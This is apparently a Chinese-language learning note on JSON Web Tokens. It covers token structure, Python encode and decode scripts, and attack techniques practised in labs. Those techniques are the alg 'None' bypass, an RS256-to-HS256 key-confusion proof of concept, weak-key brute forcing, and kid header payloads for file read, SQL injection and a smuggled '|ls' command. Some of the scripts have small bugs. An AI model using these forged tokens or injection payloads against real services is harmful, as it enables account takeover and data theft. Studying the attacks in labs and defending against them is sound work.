- JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。
- 后文提到的base64url编码加密是先做base64加密,然后再将 + 改成 -、 / 改成 _ ,同时也去除末尾额外添加的 = 字符.
- jwt想要打,jwt结构中的前两部分只是一个普通的编码而已,只要能抓包就能获取到相关信息,主要要破解的就是第三部分
jwt结构
-
JWT分别由标头(Header)、有效载荷(Payload)和签名(Signature)三个部分组成,采用base64url编码进行加密,以.作为连接的字符串形式。
-
把前两段的base密文通过
.
拼接起来,然后对其进行加密,加密方式为标头声明的方式,再然后对加密的密文进行base64url加密,最终得到token的第三段。
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.e
yJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRo
s9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQs
AuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-
Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2
f-TJSNI0DYprHHLFw
header
- header部分承载两部分信息: 一个是typ,表示令牌类型 一个是alg,表示签名所使用的算法,默认是 HMAC SHA256.header是一段如下的json
{
"kid": "keys/3c3c2ea1c3f113f649dc9389dd71b851",
"typ": "JWT",
"alg": "RS256"
}
- 将其进行base64url编码,作为第一部分,并且加上.与第二部分分开,得到
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.
payload
- payload部分是JWT的主体部分,用于存放有效数据。包含三个部分,标准中注册的声明,公共的声明,私有的声明.包含以下内容
"payload": {
"iss": "some auth server", // 颁发token的 auth server
"sub": "naimish", //主题是什么,通常用来指定颁发给哪个user
"aud": "myrest client", //确定要给哪个resource server 验证 token
"iat": 1681480232, // 发布时间
"exp": 1682480832, //到期时间
"data": [ //自定义的数据
{
"aaa": "something ",
"bbb": "other",
}
],
}
{
"sub": "dubhe123"
}
- 将其进行base64url编码,作为第二部分,并且加上.与第三部分分开,得到
eyJzdWIiOiJkdWJoZTEyMyJ9.
signature
- signature原信息本身是一段加密算法,原信息是按照下面的格式根据header和payload推出来的,但是写入到jwt的部分是这段代码进行加密的结果.
- 原信息模板为
base64url(
加密方式SHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
your-256-bit-secret (秘钥加盐)
)
)
- 比如根据已知header,加密方式为HMAC,则加密原文为
base64url(
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
随便填的密钥
)
)
- 带入header和payload得到密文
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POT
OEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA
9IYaWHeh1b4OUG0OPM3saXYSG-
Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f
-TJSNI0DYprHHLFw
jwt漏洞
-
一些小工具:jwt在线解密:https://jwt.io/ 时间戳生成网址:https://tool.chinaz.com/tools/unixtime.aspx
-
如果标头有exp字段作为时间戳管理过期时间,就需要上面的网址生成时间戳
-
这里贴一个jwt加密脚本
import time
import jwt
#头信息
head = {
"alg":"HS256",
"typ":"jwt"
}
#payload
payloda = {
"iat":time.time(),
"name":"admin"
}
#调用jwt库,生成json web token
# 秘钥 加密算法
jwt_token = jwt.encode(payload,"1121",algorithm="HS256",headers=head).decode('ascii')
#输出
print(jwt_token)
- 再来一个jwt解密脚本
import jwt
#需要解码的token
jwt_token = "eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1OTUwNzM1NDguNjcyNzk2LCJuYW1lIjoiYWRtaW4ifQ.m_f32qmeuFTCugdPBfMA1jGmpkXWoI3Vjt-sY30_xrw"
data = None
try:
# 秘钥
data = jwt.decode(jwt_token,"1121")
except Exception as e:
print(e)
print(data)
空加密
- JWT支持使用空加密算法,可以在header中指定alg为None这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。
- 比如某服务器允许使用”alg” : “None”(几乎不可能,一般只存在靶场中).此时,你抓了别的用户的包找到了jwt,将标头和有效载荷给cv下来,将标头中的加密方式设置为None,然后把签名删去(要保留签名前面的点),直接将包再次提交,就可以拿到用户的登录权限了.
- 上面那个网站和脚本都不支持空加密,感觉还是得自己写一个,下一篇报告开一个吧
hmac
- hmac一般用的HS256(没试过其他hs),RSA一般用的RS256(没试过其他rs)
JWT中最常用的两种算法为HMAC和RSA。
HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。
RSA则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
-
HS256算法使用相同密钥为所有消息进行签名和验证。而RSA256算法则使用私钥对消息进行签名并使用公钥进行身份验证。如果本来后端按rsa256处理的,就应该用用户提供的公钥去解密用户用私钥产生的签名,结果中途被抓包成了hs256,但是后端的处理逻辑不会变,就会用RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。这样,唾手可得的公钥就成被攻击者的私钥了.(==没搞懂为啥不随便找个字符串直接rsa换hs==)
-
按照这个思路可以改一下上面的jwt生成脚本得到poc脚本
import time
import jwt
#头信息
{"typ":"JWT","alg":"HS256"}
#payload
payloda = {"iss":"https:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1689513762,"exp":1689514962,"data":{"hello":"world"}}
public = open('公钥位置', 'r').read()#密钥
#调用jwt库,生成json web token
# 秘钥 加密算法
jwt_token = jwt.encode(payload,key=public,algorithm="HS256",headers=head).decode('ascii')
#输出
print(jwt_token)
- 这里有一道小的练习题目http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
- 公钥在http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
- 也可以下载源码自己部署https://github.com/Sjord/jwtdemo/我的py跑不动,就没法测试了
密钥爆破
- 对 JWT 的密钥爆破需要在一定的前提下进行,所以其实JWT 密钥爆破的局限性很大。
知悉JWT使用的加密算法
一段有效的、已签名的token
签名用的密钥不复杂(弱密钥)
表头注入
- kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥所存储的位置,如
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}
- 也就是说kid读取了文件,那么就可以利用这个功能进行以下攻击:
- 任意文件读取
- 如果没有对参数过滤的话,系统是不知道传参是密钥文件还是其他文件的
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/flag"
}
- sql注入
- kid也可能被后端用于从数据库中提取数据,这时候就有可能造成SQL注入
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}
- rce
- kid由可能被后端的命令或者代码执行函数处理从而产生rce
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/flag|ls"
}
靶场搭建
- 靶场搭建https://blog.csdn.net/qq_42620328/article/details/108392308
- docker搭好之后日常访问不了,重启一下,不要忘记橙子科技靶场的痛😭
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0
- 看了别人的wp,可不简单,过一段时间等对这个知识点的重要程度了解一些再决定怎么弄